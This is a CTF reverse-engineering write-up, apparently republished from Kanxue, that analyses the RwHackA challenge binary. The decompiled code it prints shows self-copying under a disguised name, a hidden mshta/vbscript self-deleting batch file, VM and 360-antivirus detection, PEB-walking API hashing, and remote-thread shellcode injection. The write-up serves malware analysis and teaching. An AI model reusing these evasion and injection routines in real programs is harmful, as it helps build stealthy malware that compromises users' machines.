wp拜读:[原创]H&NCTF RE 部分题解(https://bbs.kanxue.com/thread-281801.htm#msg_header_h2_0)
分析main函数逻辑
动调验证MEMORY爆红原因
动调DLL文件的Local_Hide函数
v3 = (kernel32_LoadLibraryW)(L"myDLL1.dll", argv, envp);// 成功加载出myDLL1.dll文件,直接用ida插件dump出来
int LocalHide()
{
char Src[304]; // [rsp+20h] [rbp-E0h] BYREF
char Command[304]; // [rsp+150h] [rbp+50h] BYREF
char FileName[304]; // [rsp+280h] [rbp+180h] BYREF
CHAR Filename[304]; // [rsp+3B0h] [rbp+2B0h] BYREF
CHAR Buffer[256]; // [rsp+4E0h] [rbp+3E0h] BYREF
char v6[10240]; // [rsp+5E0h] [rbp+4E0h] BYREF
DWORD pcbBuffer; // [rsp+2DF0h] [rbp+2CF0h] BYREF
FILE *Stream; // [rsp+2DF8h] [rbp+2CF8h] BYREF
memset(v6, 0, sizeof(v6));
memset(Command, 0, 0x12Cui64);
memset(Filename, 0, 0x12Cui64);
memset(Src, 0, 0x12Cui64);
memset(FileName, 0, 0x12Cui64);
memset(Buffer, 0, sizeof(Buffer));
pcbBuffer = 256;
GetUserNameA(Buffer, &pcbBuffer); // 获取当前用户名
stdio_common_vsprintf_s(v6, "C:\Users\%s\Videos", Buffer);
stdio_common_vsprintf_s_0(Src, "%s\svchsst.exe");// 拼接出文件路径
GetModuleFileNameA(0i64, Filename, 0x104u);
stdio_common_vsprintf_s_0(FileName, "%s\9434d49b-56e1-34d4-9434-0245943434d4.txt");
Stream = fopen(FileName, "r");
if ( !Stream ) // 在主程序中由于文件不存在导致打开失败
{
fopen(FileName, "r"); // 打开文件会失败,C:UsersBrinmonVideos9434d49b-56e1-34d4-9434-0245943434d4.txt
ModifyAndRenameFile(Src, "txt", 0); // 将src的路径后缀改名
CopyFileContent(Filename, Src); // 将主exe复制一份名为svchsst.txt的文本文件
ModifyAndRenameFile(Src, "exe", 1); // 目录出现exe,修改文件明
stdio_common_vsprintf_s_0(Command, "start %s");// 拼接出命令start svchsst.exe
system(Command); // 运行完之后会出现一个svchsst.txt
Stream = 0i64;
fopen_s(&Stream, FileName, "w");
fwrite(Filename, 0x12Cui64, 1ui64, Stream); // 写入主文件路径到txt文本:C:UsersBrinmonDesktop隐藏的眼睛RwHackA - 副本.exe
fclose(Stream);
puts("退出n");
exit(0);
}
printf("身在此山中n");
memset(Src, 0, 0x12Cui64);
fgets(Src, 300, Stream); // 读取文本信息,得到主程序的位置C:UsersBrinmonDesktop隐藏的眼睛RwHackA - 副本.exe
fclose(Stream);
stdio_common_vsprintf_s_0(Command, "del %s"); // del C:UsersBrinmonDesktop隐藏的眼睛RwHackA - 副本.exe
system(Command);
stdio_common_vsprintf_s_0(Command, "del %s"); // del C:UsersBrinmonVideos9434d49b-56e1-34d4-9434-0245943434d4.txt
return system(Command);
}
继续分析main函数,发现虚拟机检测(CPU数量检查)
void __noreturn sub_140001070()
{
__int64 len; // rdx
char v1[304]; // [rsp+20h] [rbp-498h] BYREF
char vscCode[304]; // [rsp+150h] [rbp-368h] BYREF
char v3[304]; // [rsp+280h] [rbp-238h] BYREF
char v4[264]; // [rsp+3B0h] [rbp-108h] BYREF
int v5; // [rsp+4C0h] [rbp+8h] BYREF
__int64 v6; // [rsp+4C8h] [rbp+10h] BYREF
memeset();
v5 = 256;
(advapi32_GetUserNameA)(v4, &v5);
memeset();
memeset();
(kernel32_GetModuleFileNameA)(0i64, v1, 260i64);
stdio_common_vsprintf_s(v3, "C:\Users\%s\Pictures\WindowsRun.bat", v4);
v6 = 0i64;
(ucrtbase_fopen_s)(&v6, v3, "w");
memeset();
stdio_common_vsprintf_s(
vscCode,
"if "%%1"=="hide" goto CmdBeginn"
"start mshta vbscript:createobject("wscript.shell").run("""%%~0"" hide",0)(window.close)&&exitn"
":CmdBeginn"
"del %s",
v1);
len = -1i64;
do
++len;
while ( vscCode[len] );
(ucrtbase_fwrite)(vscCode, len, 1i64, v6);
(ucrtbase_fclose)(v6);
stdio_common_vsprintf_s(v1, "start %s", v3);
(ucrtbase_system)(v1);
ucrtbase_exit(0i64);
}
发现这段vbs的作用就是用来删除文件和隐藏窗口的!
if "%1"=="hide" goto CmdBegin
start mshta vbscript:createobject("wscript.shell").run("""%~0"" hide",0)(window.close)&&exit
:CmdBegin
del C:UsersBrinmonDesktop隐藏的眼睛RwHackA - 副本.exe
mshta
命令重新运行自己,并传递hide
参数,同时隐藏窗口。然后在重新运行时,由于有了hide
参数,实际的批处理文件逻辑开始执行。继续分析又发现虚拟机检测(进程快照检查)
//使用 CreateToolhelp32Snapshot() 函数获取当前进程的进程快照
Toolhelp32Snapshot = kernel32_CreateToolhelp32Snapshot(2i64, 0i64);
//如果获取快照失败,打印错误码
if ( Toolhelp32Snapshot == -1 )
{
v7 = (kernel32_GetLastError)();
printf("CreateToolhelp32Snapshot:%dn", v7);
}
// 初始化 PROCESSENTRY32W 结构体
v51[0] = 568;
//使用 Process32FirstW() 函数遍历进程快照
if ( (kernel32_Process32FirstW)(Toolhelp32Snapshot, v51) )
{
//定义一些字符串,用于检查进程名是否包含这些字符串
v40 = "Vmtoolsd.exe";
v41 = "Vmwaretrat.exe";
v42 = "Vmwareuser.exe";
v43 = "Vmacthlp.exe";
v44 = "vboxservice.exe";
v45 = "vboxtray.exe";
do
{
memeset();
//将进程名从宽字符转换为多字节字符串
(kernel32_WideCharToMultiByte)(0i64, 0i64, v52, 0xFFFFFFFFi64, v50, 260, 0i64, 0i64, v40, v41, v42, v43, v44, v45);
//检查进程名是否包含虚拟机相关的字符串
for ( i = 0i64; i < 6; ++i )
{
v10 = (&v40)[i];
v11 = (v50 - v10);
do
{
v12 = v11[v10];
v13 = *v10 - v12;
if ( v13 )
break;
++v10;
}
while ( v12 );
if ( !v13 )
{
printf("为虚拟机exen");
sub_140001070();
}
}
}
//继续遍历下一个进程
while ( (kernel32_Process32NextW)(Toolhelp32Snapshot, v51) );
}
else
{
//如果 Process32FirstW() 函数失败,打印错误码
v8 = (kernel32_GetLastError)();
printf("Process32First:%dn", v8);
}
printf("为实体机n");
v40 = "Vmtoolsd.exe";
v41 = "Vmwaretrat.exe";
v42 = "Vmwareuser.exe";
v43 = "Vmacthlp.exe";
v44 = "vboxservice.exe";
v45 = "vboxtray.exe";
遍历PCB进程块查找特定模块
// 获取当前进程的环境块(PEB)
Blink = NtCurrentPeb()->Ldr->InLoadOrderModuleList.Blink;
// 初始化链表遍历指针v16为链表头部
v16 = Blink;
// 遍历模块链表
do
{
// 移动到下一个模块
v16 = v16->Flink;
// 检查当前模块是否有模块名称
if (v16[3].Flink)
{
// 提取模块名称并存储在v46数组中
Flink = v16[6].Flink;
for (j = 0i64; *Flink; v46[j++] = v19)
{
// 最多只处理63个字符
if (j >= 0x3F)
break;
v19 = *Flink;//字节存储在v19中
Flink += 2;//移动两个字节
}
v46[j] = 0; // 添加字符串结束符
// 将模块名称转换为小写
v20 = (user32_CharLowerA)(v46);
// 计算模块名称哈希值
v21 = 53;
v22 = -1i64;
v14 = v20;
do
++v22;
while (*(v20 + v22));
v23 = 0;
if (v22)
{
do
{
v24 = *v14;
++v23;
++v14;
v21 = v24 + 3 * v21;
}
while (v23 < v22);
// 检查哈希值是否匹配目标值0x037C0B5E
if (v21 == 0x037C0B5E)
break;
}
}
}
// 循环直到遍历完整个模块链表
while (Blink != v16);
typedef struct _LDR_DATA_TABLE_ENTRY {
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
USHORT LoadCount;
USHORT TlsIndex;
union {
LIST_ENTRY HashLinks;
struct {
PVOID SectionPointer;
ULONG CheckSum;
};
};
union {
struct {
ULONG TimeDateStamp;
};
struct {
PVOID LoadedImports;
};
};
PVOID EntryPointActivationContext;
PVOID PatchInformation;
LIST_ENTRY ForwarderLinks;
LIST_ENTRY ServiceTagList;
LIST_ENTRY StaticLinks;
PVOID ContextInformation;
ULONG_PTR OriginalBase;
LARGE_INTEGER LoadTime;
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
检查系统中是否存在某些安全软件或者虚拟机相关的进程
// 获取kernel32.dll中GetModuleHandleA函数的地址
qword_1400050C8 = (sub_140001230)(v25, 4038080516i64, v14);
// 获取kernel32.dll中GetProcAddress函数的地址
qword_1400050C0 = (sub_140001230)(v25, 448915681i64, v26);
// 获取kernel32.dll的模块句柄
qword_1400050B8 = qword_1400050C8("kernel32.dll");
// 获取ADVAPI32.dll的模块句柄
qword_1400050D0 = qword_1400050C8("ADVAPI32.dll");
// 获取ntdll.dll的模块句柄
v27 = qword_1400050C8("ntdll.dll");
// 设置 VerSetConditionMask 的参数
LOBYTE(v28) = 3;
v29 = v27;
v30 = (ntdll_VerSetConditionMask)(0i64, 2i64, v28);
LOBYTE(v31) = 3;
v32 = (ntdll_VerSetConditionMask)(v30, 1i64, v31);
LOBYTE(v33) = 3;
(ntdll_VerSetConditionMask)(v32, 4i64, v33);
// 尝试获取 ntdll.dll 中 RtlGetVersion 函数的地址
if (v29)
{
v34 = kernel32_GetProcAddress(v29, "RtlGetVersion");
if (v34)
{
// 调用 RtlGetVersion 函数获取系统版本信息
memeset();
v48[0] = 284;
if (!v34(v48))
{
// 根据系统版本信息打印相应的信息
if (v48[1] == 6 && v48[2] == 1)
{
printf("Windows 7n");
}
else
{
printf("其他版本n");
// 获取进程快照
v35 = kernel32_CreateToolhelp32Snapshot(2i64, 0i64);
if (v35 == -1)
{
v36 = (kernel32_GetLastError)();
printf("CreateToolhelp32Snapshot:%dn", v36);
}
// 遍历进程快照
v53[0] = 568;
if ((kernel32_Process32FirstW)(v35, v53))
{
LABEL_34:
memeset();
(kernel32_WideCharToMultiByte)(0i64, 0i64, v54, 0xFFFFFFFFi64, v49, 260, 0i64, 0i64);
v38 = 0;
// 检查是否存在"ZhuDongFangYu.exe"和"360Tray.exe"进程
if (ucrtbase_strcmp("ZhuDongFangYu.exe", v49))
{
while (ucrtbase_strcmp("360Tray.exe", v49))
{
if (++v38 >= 6)
{
if ((kernel32_Process32NextW)(v35, v53))
goto LABEL_34;
goto LABEL_40;
}
}
}
printf("检测到360。。。。n");
v5 = 1;
}
else
{
v37 = (kernel32_GetLastError)();
printf("Process32First:%dn", v37);
}
LABEL_40:
printf("%dn", v5);
}
sub_140001320();
}
}
}
return 0;
typedef struct _OSVERSIONINFOEXW {
ULONG dwOSVersionInfoSize;
ULONG dwMajorVersion;
ULONG dwMinorVersion;
ULONG dwBuildNumber;
ULONG dwPlatformId;
WCHAR szCSDVersion[128];
USHORT wServicePackMajor;
USHORT wServicePackMinor;
USHORT wSuiteMask;
BYTE wProductType;
BYTE wReserved;
} OSVERSIONINFOEXW, *POSVERSIONINFOEXW, *LPOSVERSIONINFOEXW;
分析最终flag隐藏的位置sub_140001320()
// 加载 XMM 寄存器
si128 = _mm_load_si128(xmmword_140003A20);
// 获取 Windows API 函数的地址
OpenProcess = kernel32_GetProcAddress(KERNEL32Moudle, "OpenProcess");
VirtualAllocEx = kernel32_GetProcAddress(KERNEL32Moudle, "VirtualAllocEx");
WriteProcessMemory = kernel32_GetProcAddress(KERNEL32Moudle, "WriteProcessMemory");
CreateRemoteThread = kernel32_GetProcAddress(KERNEL32Moudle, "CreateRemoteThread");
// 初始化指针变量
v3 = &v41;
v4 = &unk_140003450;
v5 = 7i64;
// 循环复制数据
do {
v3 += 32;
v6 = *v4;
v7 = v4[1];
v4 += 8;
*(v3 - 8) = v6;
v8 = *(v4 - 6);
*(v3 - 7) = v7;
v9 = *(v4 - 5);
*(v3 - 6) = v8;
// 省略剩余赋值操作
--v5;
} while (v5);
// 继续复制数据
v14 = *(v4 + 4);
v15 = 6;
v16 = -1162190778i64;
v17 = 1i64;
*v3 = *v4;
v3[4] = v14;
// 循环进行数据变换
do {
v18 = 227i64;
v19 = &v45;
v20 = 227;
v21 = &v44;
do {
v22 = *v21;
v21 -= 4;
v19 -= 4;
v23 = *(&v41 + (v20 + 1) % 0xBu);
v24 = v17 ^ v18-- & 3;
*(v19 + 1) -= ((v23 ^ v16) + (si128.m128i_i32[v24] ^ v22)) ^ (((v22 >> 6) ^ (4 * v23)) + ((16 * v22) ^ (v23 >> 3)));
--v20;
} while (v20);
v25 = v42 ^ v16;
v16 -= 1953785185i64;
v41 -= (v25 + (si128.m128i_i32[v17] ^ v43)) ^ (((v43 >> 6) ^ (4 * v42)) + ((16 * v43) ^ (v42 >> 3)));
v17 = (v16 >> 2) & 3;
--v15;
} while (v15);
// 输出处理后的数据
v26 = &v41;
for (i = 0; i < 0x393; ++i)
printf("%c ", *v26++);
// 枚举系统中的进程
Toolhelp32Snapshot = kernel32_CreateToolhelp32Snapshot(2i64, 0i64);
if (Toolhelp32Snapshot == -1) {
v29 = (kernel32_GetLastError)();
printf("CreateToolhelp32Snapshot:%dn", v29);
}
v46[0] = 568;
if ((kernel32_Process32FirstW)(Toolhelp32Snapshot, v46)) {
// 查找 "exp10rer.exe" 进程
while (true) {
v39 = -1i64;
do {
if (*(&v46[11] + v39 + 1) != aExp10rerExe[v39 + 1])
break;
v39 += 2i64;
if (v39 == 13) {
v31 = v46[2];
goto LABEL_14;
}
} while (*(&v46[11] + v39) == aExp10rerExe[v39]);
if ((kernel32_Process32NextW)(Toolhelp32Snapshot, v46))
continue;
break;
}
} else {
v30 = (kernel32_GetLastError)();
printf("Process32First:%dn", v30);
}
//程序如果未找到目标程序exp10rer.exe,就会将CreateRemoteThread复制给v31
v31 = CreateRemoteThread;
LABEL_14:
printf("inject process pid: %dn", v31);
// 注入代码到目标进程
v32 = OpenProcess(0x1FFFFFi64, 0i64, v31);
v33 = (kernel32_GetLastError)();
printf("OpenProcess:%dn", v33);
v34 = VirtualAllocEx(v32, 0i64, 916i64, 12288i64, 64);
v35 = (kernel32_GetLastError)();
printf("VirtualAllocEx:%dn", v35);
WriteProcessMemory(v32, v34, &v41, 916i64, 0i64);
v36 = (kernel32_GetLastError)();
printf("WriteProcessMemory:%dn", v36);
CreateRemoteThread(v32, 0i64, 0i64, v34, 0i64, 0, 0i64);
v37 = (kernel32_GetLastError)();
return printf("CreateRemoteThread:%dn", v37);
但是电脑中并没有这个程序或进程exp10rer.exe,这个进程大概率在源码中是存在的但是被本题魔改掉了,因为这是ctf比赛,写成这样已经将整个病毒架构写出来了!
分析最终注入其他程序的shellcode
// 输出处理后的数据
v26 = &v41;
for (i = 0; i < 0x393; ++i)
printf("%c ", *v26++);
from ida_bytes import get_bytes, patch_bytes
with open('dump', 'wb') as f:
f.write(idaapi.get_bytes(0x5FF060, 0x393))
在shellcode的最后就隐藏这flag:
看雪ID:Loserme
https://bbs.kanxue.com/user-home-944427.htm
# 往期推荐
球分享
球点赞
球在看
点击阅读原文查看更多
原文始发于微信公众号(看雪学苑):RWhackA远程线程注入式病毒分析(H&NCTF2024)